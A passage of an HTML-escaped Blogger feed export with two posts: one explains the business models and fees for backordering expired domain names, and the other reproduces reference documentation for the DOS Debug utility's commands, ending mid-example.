&lt;/span&gt;&lt;a href="http://www.enom.com/" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;eNom&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;have adopted this model.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Model 2. Service Through Coordinated Registrars&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;SnapNames has adopted a second approach by acting as a single backorder application point for multi-registrars. Thus, by submitting a request through SnapNames Website, SnapNames works with the registrar of the domain name before the registrar deletes it, i.e., before Stage 2.&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;However, SnapNames is at a disadvantage for backordering domain names that are registered through registrars that have adopted Model 1 and not participating in the coordinated approach. If the registrar does not have its own backorder service and is not a partner of SnapNames, downstream Models 3 or 4 can capture the domain name.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;Registrars that have partnered with&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://www.snapnames.com/" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;SnapNames&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;include Network Solutions and&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://www.domainit.com/" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;DomainIt&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Model 3. Service Through the Registry&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;VeriSign controls the .com registry and can guarantee that any domain name deleted at stage 2 is redistributed to a party subscribed to their widely anticipated launch of&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://www.domainmart.com/news/opinion-WLS.htm" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;Waiting List Service&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;(WLS).&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;WLS is provided through any ICANN accredited registrar that wishes to participate in it. This approach has two main differences from the coordinated registrar model.&lt;span&gt;�&lt;/span&gt;First, it is only offered through registrars who then can choose to offer it to their customers and second, only the registry has control over domain names in Stage 3. If there are no backorder requests for a domain name made through WLS, the domain name advances to Stage 4, after which services providing Automated Registration Software can grab it.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Model 4. Automated Registration Software&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p&gt;&lt;span class="sndavtext"&gt;To capture expired domains, this model is based on the premise that the domain name is deleted from the registry at Stage 6. Thus, to acquire the domain name, the interested entity sends electronic requests to register a domain name through an ICANN accredited registrar. However, since a large number of parties would be interested in the same quality domains, it becomes a race for registering it first.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;Proprietary automatic registration software is deployed that can place hundreds of requests for the same domain name in seconds. The resulting excessive registration requests through few registrars led VeriSign to cap each ICANN registrar to 256K bandwidth or 250 simultaneous RRPs. It was rumored that some registrars had attempted 1500 registrations for a single name in one second!&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Model 5. Multi-model Strategy&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;To increase and guarantee that an expired domain names is registered before it is returned to the public pool of available names, one needs to subscribe to providers of service under Models 1, 2, 4 and 3 - when it becomes available, as each of these models has its own crack holes.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;Model 1 is most viable for domain names registered through individual registrars that are not participants in the coordinated registrar pool in Model 2. Conversely, the coordinated registrar approach has an advantage over non-participating registrars for domain names registered through them, as they would not let it proceed to Stage 2. However, they have no control over deletions of domain names originally registered through others. Nevertheless, the success of Models 1 and 2 assume that a customer has placed a backorder request either through SnapNames or through a registrar providing the service for names registered through them. If not, then Model 3 becomes viable. However, with the introduction of WLS, backorder customers can go directly to VeriSign to bypass the registrars who would delete expiring domain names registered through them for which they had no backorder requests. Hence, the potential dominance of WLS depends on fee structure, ability of the major registrars to agree on and coordinate sharing of a centralized Website, and customers� awareness of the different programs.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p&gt;&lt;span class="sndavtext"&gt;Some major registrars do not yet provide backorder services through their Website.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Multi-model strategy is provided by&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://domainmart.com/DomainNames/agent/expired.htm" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;DomainMart&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;&lt;b&gt;Fees and Allocation Mechanism&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="sndavtext"&gt;Two pricing and allocation models have emerged. The first uses a fixed-price with domain name allocated on a first-backorder-first-serviced basis. Others have adopted more lucrative and fair auction mechanisms, whereby the highest bidder is awarded the domain name at the bid price (an English auction)&lt;a href="#_ftn2" name="_ftnref2" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;[2]&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;. The fixed-price model providers typically charge an upfront fee and allow a customer to backorder three alternative domain names in the event the client first choice is not secured on their behalf. On the other hand, under the auction model, a customer gets charged only if the domain name is registered on their behalf.&lt;a href="#_ftn2" name="_ftnref2" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="sndavtext"&gt;&lt;a href="http://www.snapnames.com/" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;SnapNames&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;charges a minim fee of $60, if only one entity requests the domain name. For multiple backorders on the same domain name, a short auction is setup. Such backorder customers are notified by email of the auction setup.&lt;/p&gt;&lt;p class="sndavtext"&gt;&lt;a href="http://domainmart.com/DomainNames/agent/expired.htm" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;DomainMart&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;charges the same minimum fee for simultaneously using multiple service providers under Models 1, 2 and 4. DomainMart provides additional services including appraisal of value and advise on a bidding strategy for an additional $25 (total $85), while charging $50 for the bundle of valuation and bidding advice.&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;hr size="1" width="33%" align="left"&gt;&lt;div id="ftn1"&gt;&lt;p class="MsoFootnoteText"&gt;&lt;span class="sndavtext"&gt;&lt;a href="#_ftnref1" name="_ftn1" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;span&gt;[1]&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;Network Solutions has introduced a 100-year registration service. The service implicitly relies on Network Solutions ensuring 10 consecutive 10-year renewals. The success of the program is still sketchy.&lt;a href="#_ftnref1" name="_ftn1" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div id="ftn2"&gt;&lt;p class="MsoFootnoteText"&gt;&lt;span class="sndavtext"&gt;&lt;a href="#_ftnref2" name="_ftn2" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;span&gt;[2]&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;Pool.com has adopted an inefficient and not necessarily revenue maximizing two-stage auction. A sealed-bid auction followed by an English auction for the top 10 bidders in the previous auction!&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-7920362170615756688?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/7920362170615756688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=7920362170615756688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7920362170615756688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7920362170615756688'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/backordering-domains.html' title='Backordering  Domains'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-4172541614332928368</id><published>2008-10-24T08:33:00.000-07:00</published><updated>2008-10-24T08:41:23.488-07:00</updated><title type='text'></title><content type='html'>&lt;p&gt; &lt;b&gt;Debug commands&lt;/b&gt; &lt;/p&gt;  &lt;table&gt;&lt;tbody&gt;&lt;tr&gt; &lt;th&gt; &lt;p&gt;Command&lt;/p&gt; &lt;/th&gt; &lt;th&gt; &lt;p&gt;Description&lt;/p&gt; &lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;?&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Displays a list of the Debug commands.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;a&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Assembles 8086/8087/8088 mnemonics.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;c&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Compares two portions of memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;d&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Displays the contents of a portion of memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;e&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Enters data into memory starting at a specified address.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;f&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Fills a range of memory with specified values.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;g&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Runs the executable file that is in memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;h&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Performs hexadecimal arithmetic.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;i&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Displays one byte value from a specified port.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;l&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Loads the contents of a file or disk sectors into memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;m&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Copies the contents of a block of memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;n&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Specifies a file for an l or w command, or specifies the parameters for the file you are testing.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;o&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Sends one byte value to an output port.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;p&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Executes a loop, a repeated string instruction, a software interrupt, or a subroutine.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;q&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Stops the Debug session.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;r&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Displays or alters the contents of one or more registers.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;s&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Searches a portion of memory for a specified pattern of one or more byte values.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;t&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Executes one instruction and then displays the contents of all registers, the status of all flags, and the decoded form of the instruction that Debug will execute next.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;u&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Disassembles bytes and displays the corresponding source statements.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;w&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Writes the file being tested to a disk.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;xa&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Allocates expanded memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;xd&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Deallocates expanded memory.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;xm&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Maps expanded memory pages.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;xs&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Displays the status of expanded memory.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt; &lt;b&gt;Separating command parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt;All Debug commands accept parameters, except the &lt;b&gt;q&lt;/b&gt; command. You can separate parameters with commas or spaces, but these separators are required only between two hexadecimal values. Therefore, the following commands are equivalent:&lt;/p&gt; &lt;pre&gt;dcs:100 110&lt;br /&gt;d cs:100 110&lt;br /&gt;d,cs:100,110&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Specifying valid address entries&lt;/b&gt; &lt;/p&gt; &lt;p&gt;An &lt;i&gt;address&lt;/i&gt; parameter in a Debug command specifies a location in memory. &lt;i&gt;Address&lt;/i&gt; is a two-part designation containing either an alphabetic segment register or a 4-digit segment address, plus an offset value. You can omit the segment register or segment address. The default segment for the &lt;b&gt;a&lt;/b&gt;, &lt;b&gt;g&lt;/b&gt;, &lt;b&gt;l&lt;/b&gt;, &lt;b&gt;t&lt;/b&gt;, &lt;b&gt;u&lt;/b&gt;, and &lt;b&gt;w&lt;/b&gt; commands is CS. The default segment for all other commands is DS. All numeric values are in hexadecimal format.&lt;/p&gt; &lt;p&gt;The following are valid addresses:&lt;/p&gt; &lt;pre&gt;CS:0100&lt;br /&gt;04BA:0100&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The colon between the segment name and the offset value is required.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Specifying valid range entries&lt;/b&gt; &lt;/p&gt; &lt;p&gt;A &lt;i&gt;range&lt;/i&gt; parameter in a Debug command specifies a range of memory. You can choose from two formats for &lt;i&gt;range&lt;/i&gt;: a starting address and an ending address, or a starting address and the length (denoted by &lt;b&gt;l&lt;/b&gt;) of the range.&lt;/p&gt; &lt;p&gt;For example, both of the following syntaxes specify a 16-byte range beginning at CS:100:&lt;/p&gt; &lt;pre&gt;cs:100 10f&lt;br /&gt;cs:100 l 10&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The following commands are Debug commands:&lt;/p&gt; &lt;table&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th&gt; &lt;p&gt;a (Assemble)&lt;/p&gt; &lt;/th&gt; &lt;th&gt; &lt;p&gt;p (Proceed)&lt;/p&gt; &lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;c (Compare)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;q (Quit)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;d (Dump)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;r (Register)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;e (Enter)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;s (Search)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;f (Fill)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;t (Trace)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;g (Go)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;u (Unassemble)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;h (Hex)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;w (Write)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;i (Input)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;xa (Allocate Expanded Memory)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;l (Load)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;xd (Deallocate Expanded Memory)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;m (Move)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;xm (Map Extended Memory Pages)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;n (Name)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;xs (Display Expanded Memory Status)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;o (Output)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection123121120120"&gt;Debug: A (Assemble)&lt;/h3&gt; &lt;p&gt;Assembles 8086/8087/8088 mnemonics directly into memory.&lt;/p&gt; &lt;p&gt;This command creates executable machine code from assembly-language statements. All numeric values are in hexadecimal format, and you must type them as 1 to 4 characters. You specify a prefix mnemonic in front of the operation code (opcode) to which it refers.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;a&lt;/b&gt; [&lt;i&gt;address&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the location where you type assembly-language mnemonics. You use hexadecimal values for &lt;i&gt;address&lt;/i&gt; and type each value without the trailing "h" character. If you do not specify an address, &lt;b&gt;a&lt;/b&gt; starts assembling where it last stopped.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using mnemonics&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The segment-override mnemonics are &lt;b&gt;cs:&lt;/b&gt;, &lt;b&gt;ds:&lt;/b&gt;, &lt;b&gt;es:&lt;/b&gt;, and &lt;b&gt;ss:&lt;/b&gt;. The mnemonic for the far return is &lt;b&gt;retf&lt;/b&gt;. String-manipulation mnemonics must explicitly state the string size. For example, use &lt;b&gt;movsw&lt;/b&gt; to move word strings (16 bits), and use &lt;b&gt;movsb&lt;/b&gt; to move byte strings (8 bits).&lt;/p&gt; &lt;p&gt; &lt;b&gt;Assembling jumps and calls&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The assembler automatically assembles a short, near, or far jump or call, depending on byte displacement, to the destination address. You can override such a jump or call by using a &lt;b&gt;near&lt;/b&gt; or &lt;b&gt;far&lt;/b&gt; prefix, as the following example shows:&lt;/p&gt; &lt;p&gt;–a0100:0500&lt;/p&gt; &lt;p&gt;0100:0500 jmp 502       ; a 2-byte short jump&lt;br /&gt;0100:0502 jmp near 505  ;a 3-byte near jump&lt;br /&gt;0100:0505 jmp far 50a   ; a 5-byte far jump&lt;br /&gt;You can abbreviate the &lt;b&gt;near&lt;/b&gt; prefix to &lt;b&gt;ne&lt;/b&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Distinguishing word and byte memory locations&lt;/b&gt; &lt;/p&gt; &lt;p&gt;When an operand can refer to either a word memory location or a byte memory location, you must specify the data type with the prefix &lt;b&gt;word ptr&lt;/b&gt; or the prefix &lt;b&gt;byte ptr&lt;/b&gt;. Acceptable abbreviations are &lt;b&gt;wo&lt;/b&gt; and &lt;b&gt;by&lt;/b&gt;, respectively. The following example shows the two formats:&lt;/p&gt; &lt;pre&gt;dec   wo [si]&lt;br /&gt;neg   byte ptr [128]&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Specifying operands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Debug uses the common convention that an operand enclosed in brackets ([ ]) refers to a memory location. This is because Debug cannot otherwise differentiate between an immediate operand and an operand that is a memory location. The following example shows the two formats:&lt;/p&gt; &lt;pre&gt;mov   ax,21       ; load AX with 21h&lt;br /&gt;mov   ax,[21]     ; load AX with the&lt;br /&gt;                   ; contents of&lt;br /&gt;                 ; memory location 21h&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Using pseudoinstructions&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Two popular pseudoinstructions are available with the &lt;b&gt;a&lt;/b&gt; command: the &lt;b&gt;db&lt;/b&gt; opcode, which assembles byte values directly into memory, and the &lt;b&gt;dw&lt;/b&gt; opcode, which assembles word values directly into memory. Following are examples of both pseudoinstructions:&lt;/p&gt; &lt;pre&gt;db 1,2,3,4,"THIS IS AN EXAMPLE"&lt;br /&gt;db 'THIS IS A QUOTATION MARK: "'&lt;br /&gt;db "THIS IS A QUOTATION MARK: '"&lt;br /&gt;dw 1000,2000,3000,"BACH"&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The &lt;b&gt;a&lt;/b&gt; command supports all forms of register-indirect commands, as the following example shows:&lt;/p&gt; &lt;pre&gt;add bx,34[bp+2].[si-1]&lt;br /&gt;pop [bp+di]&lt;br /&gt;push [si]&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;All opcode synonyms are also supported, as the following example shows:&lt;/p&gt; &lt;pre&gt;loopz 100&lt;br /&gt;loope 100&lt;br /&gt;ja      200&lt;br /&gt;jnbe    200&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;For 8087 opcodes, you must specify the &lt;b&gt;wait&lt;/b&gt; or &lt;b&gt;fwait&lt;/b&gt; prefix, as the following example shows:&lt;/p&gt; &lt;pre&gt;fwait fadd st,st(3)       ; this line assembles&lt;br /&gt;                         ; an fwait prefix&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about entering data into specific bytes, see the Debug&lt;b&gt; e&lt;/b&gt; (Enter) command.&lt;/p&gt; &lt;p&gt;For information about disassembling bytes, see the Debug&lt;b&gt; u&lt;/b&gt; (Unassemble) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection124121120120"&gt;Debug: C (Compare)&lt;/h3&gt; &lt;p&gt;Compares two portions of memory.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;c&lt;/b&gt; &lt;i&gt;range address&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting and ending addresses, or the starting address and length, of the first area of memory you want to compare. For information about valid &lt;i&gt;range&lt;/i&gt; values, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting address of the second area of memory you want to compare. For information about valid &lt;i&gt;address&lt;/i&gt; values, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Note&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If the &lt;i&gt;range&lt;/i&gt; and &lt;i&gt;address&lt;/i&gt; memory areas are identical, Debug displays nothing and returns directly to the Debug prompt. If there are differences, Debug displays them in the following format: address1 byte1 byte2 address2&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The following commands have the same effect:&lt;/p&gt; &lt;pre&gt;c100,10f 300&lt;br /&gt;c100l10 300&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Each command compares the block of memory from 100h through 10Fh with the block of memory from 300h through 30Fh.&lt;/p&gt; &lt;p&gt;Debug responds to either of the previous commands with a display similar to the following (assuming DS = 197F):&lt;/p&gt; &lt;pre&gt;197F:0100 4D E4 197F:0300&lt;br /&gt;197F:0101 67 99 197F:0301&lt;br /&gt;197F:0102 A3 27 197F:0302&lt;br /&gt;197F:0103 35 F3 197F:0303&lt;br /&gt;197F:0104 97 BD 197F:0304&lt;br /&gt;197F:0105 04 35 197F:0305&lt;br /&gt;197F:0107 76 71 197F:0307&lt;br /&gt;197F:0108 E6 11 197F:0308&lt;br /&gt;197F:0109 19 2C 197F:0309&lt;br /&gt;197F:010A 80 0A 197F:030A&lt;br /&gt;197F:010B 36 7F 197F:030B&lt;br /&gt;197F:010C BE 22 197F:030C&lt;br /&gt;197F:010D 83 93 197F:030D&lt;br /&gt;197F:010E 49 77 197F:030E&lt;br /&gt;197F:010F 4F 8A 197F:030F&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Notice that the addresses 197F:0106 